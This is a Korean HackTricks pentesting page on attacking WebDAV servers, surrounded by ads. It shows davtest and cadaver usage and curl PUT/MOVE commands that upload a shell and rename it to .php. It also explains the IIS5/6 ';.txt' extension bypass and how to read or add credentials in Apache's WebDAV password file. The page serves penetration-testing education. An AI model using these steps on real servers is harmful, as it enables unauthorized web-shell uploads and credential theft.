hacktricks/network-services-pentesting/pentesting-web/put-method-webdav.md

7.9 KiB

WebDav


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요.
오늘 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

HTTP 서버에 WebDav가 활성화된 경우, 일반적으로 HTTP 기본 인증을 통해 확인된 적절한 자격 증명이 있다면 파일을 조작할 수 있습니다. 이러한 서버를 제어하는 것은 종종 웹쉘을 업로드하고 실행하는 것을 포함합니다.

WebDav 서버에 액세스하려면 일반적으로 유효한 자격 증명이 필요하며, WebDav 브루트포스가 이를 얻는 데 일반적인 방법입니다.

파일 업로드에 대한 제한을 극복하기 위해 특히 서버 측 스크립트 실행을 방지하는 경우 다음을 수행할 수 있습니다:

  • 실행 가능한 확장자를 가진 파일을 직접 업로드합니다(제한이 없는 경우).
  • 실행할 수 없는 파일(.txt와 같은)을 실행 가능한 확장자로 이름을 변경합니다.
  • 실행할 수 없는 파일을 복사하여 실행 가능한 확장자로 변경합니다.

DavTest

Davtest다양한 확장자를 가진 여러 파일을 업로드하고 확장자가 실행되는지 확인합니다:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Cadaver

이 도구를 사용하여 WebDav 서버에 연결하고 수동으로 업로드, 이동 또는 삭제와 같은 작업을 수행할 수 있습니다.

cadaver <IP>

PUT 요청

  • PUT 요청은 웹 서버에 새로운 파일을 업로드하거나 기존 파일을 업데이트하는 데 사용됩니다.
  • PUT 요청을 사용하여 WebDAV 서비스를 테스트할 때는 새로운 파일을 업로드하거나 기존 파일을 덮어쓸 수 있습니다.
  • PUT 요청을 통해 서버에 쓰기 권한이 있는지 확인할 수 있습니다.
curl -T 'shell.txt' 'http://$ip'

MOVE 요청

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요.
오늘 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

IIS5/6 WebDav 취약점

이 취약점은 매우 흥미로운데, WebDav.asp 확장자를 가진 파일을 업로드하거나 이름 바꾸는 것을 허용하지 않습니다. 그러나 파일 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 실행됩니다 (".txt" 대신에 ".html"을 사용할 수도 있지만 ";"를 잊지 마세요).

그런 다음 쉘을 ".txt 파일"로 업로드하고 ".asp;.txt 파일"로 복사/이동할 수 있습니다. 웹 서버를 통해 해당 파일에 액세스하면 실행됩니다 (cadaver는 이동 작업이 작동하지 않았다고 할지라도 실제로 작동합니다).

자격 증명 게시

Webdav가 Apache 서버를 사용하고 있다면 Apache에서 구성된 사이트를 살펴봐야 합니다. 일반적으로:
/etc/apache2/sites-enabled/000-default

내부에서 다음과 같은 내용을 찾을 수 있습니다:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

위에서 볼 수 있듯이 webdav 서버의 유효한 자격 증명이 포함된 파일이 있습니다:

/etc/apache2/users.password

다음은 사용자 이름비밀번호 해시가 포함되어 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다.

이를 해독하거나, 어떤 이유로든 웹다브 서버에 액세스하려는 경우 더 추가할 수 있습니다:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

새 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}